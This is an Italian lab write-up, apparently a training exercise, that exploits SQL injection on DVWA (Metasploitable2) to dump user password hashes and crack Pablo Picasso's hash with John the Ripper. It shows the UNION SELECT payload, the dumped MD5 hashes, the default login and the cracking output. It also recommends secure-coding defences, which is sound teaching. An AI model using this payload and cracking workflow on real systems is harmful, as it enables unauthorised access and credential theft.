



## Obiettivo



Obiettivo: Sfruttare la vulnerabilità di SQL injection presente su DVWA per recuperare la password in chiaro dell'utente "Pablo Picasso"

# Step



1. Avvio DVWA
2. Settaggio DVWA
3. Query malevola
4. John the Ripper
5. Conclusioni

Step1

Step2

Step3

Step4

Step5

# DVWA

**Accedere alla DVWA di Metasploitable2  
(macchina progettata per essere volutamente  
vulnerabile per il testing di exploit)**  
**Una volta collegatisi sulla home page della  
DVWA, sarà necessario inserire le credenziali  
per accedere alla piattaforma.**  
**Le credenziali d'accesso sono:**

**Username: admin**

**Password: password**



Step1

Step2

Step3

Step4

Step5

# Settaggio DVWA

**Effettuato il login, si andrà sulla pagina DVWA Security e si modificherà il livello di sicurezza impostandolo su low.**

The screenshot shows the DVWA Security page. At the top right is the DVWA logo. Below it is a navigation menu with links: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, SQL Injection (Blind), Upload, XSS reflected, XSS stored, DVWA Security (which is highlighted in green), PHP Info, About, and Logout. Under the DVWA Security heading, it says "Security Level is currently **low**". There is a dropdown menu set to "low" with a "Submit" button next to it. Below this, under the PHPIDS heading, it says "PHPIDS v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications. You can enable PHPIDS across this site for the duration of your session. PHPIDS is currently **disabled**. [enable PHPIDS]". At the bottom, it shows the current session information: Username: admin, Security Level: low, PHPIDS: disabled. The footer of the page reads "Damn Vulnerable Web Application (DVWA) v1.0.7".

Step1

Step2

Step3

Step4

Step5

## Query malevola

Fatto ciò, si andrà sulla sezione SQL Injection dove si inserirà, nel campo USER ID, la query modificata in maniera tale da estrarre le informazioni riguardanti l'utente target (Pablo Picasso).

La query malevola sarà la seguente:

`1' UNION SELECT user, password FROM users#`

Tramite questo comando, si ordinerà al database di mostrare le credenziali di accesso di tutti gli utenti iscritti alla piattaforma.

Come si evince dall'immagine, si è estrapolata la password del target. Successivamente, sarà necessario decifrare la password trovata in codice hash MD5. Per effettuare quest'ultimo passaggio, sarà necessario utilizzare il software John the Ripper.

### Vulnerability: SQL Injection

User ID:

 Submit

ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: admin

ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Step1

Step2

Step3

Step4

Step5

# John the Ripper

Cos'è John the Ripper?

È un software che riporta in chiaro il codice hash di una password.

Per fare ciò, si scriverà l'hash della password recuperata su un file, che verrà salvato in formato.txt

In seguito si avvierà il terminale e si eseguirà il programma John the Ripper tramite il seguente comando: john -format=RAW-MD5 "Nome del file".txt

Come raffigurato nell'immagine, la password è letmein.

```
(kali㉿kali)-[~/Desktop]
$ john -format=RAW-MD5 Pablo
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
letmein      (?)
1g 0:00:00:00 DONE 2/3 (2024-11-18 04:20) 10.00g/s 1920p/s 1920c/s 123456..knight
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Step1

Step2

Step3

Step4

Step5

## Conclusioni

L'esercizio svolto ha rappresentato un'opportunità fondamentale per approfondire le conoscenze teoriche sulle vulnerabilità SQL injection e applicarle in un ambiente controllato. L'utilizzo di Burp Suite e la costruzione manuale delle payload hanno permesso di comprendere a fondo i meccanismi alla base di questo tipo di attacco. I risultati ottenuti evidenziano l'importanza di adottare best practice di sviluppo sicuro, come la parametrizzazione delle query, l'input validation e l'utilizzo di web application firewall, per mitigare i rischi associati alle vulnerabilità SQL injection.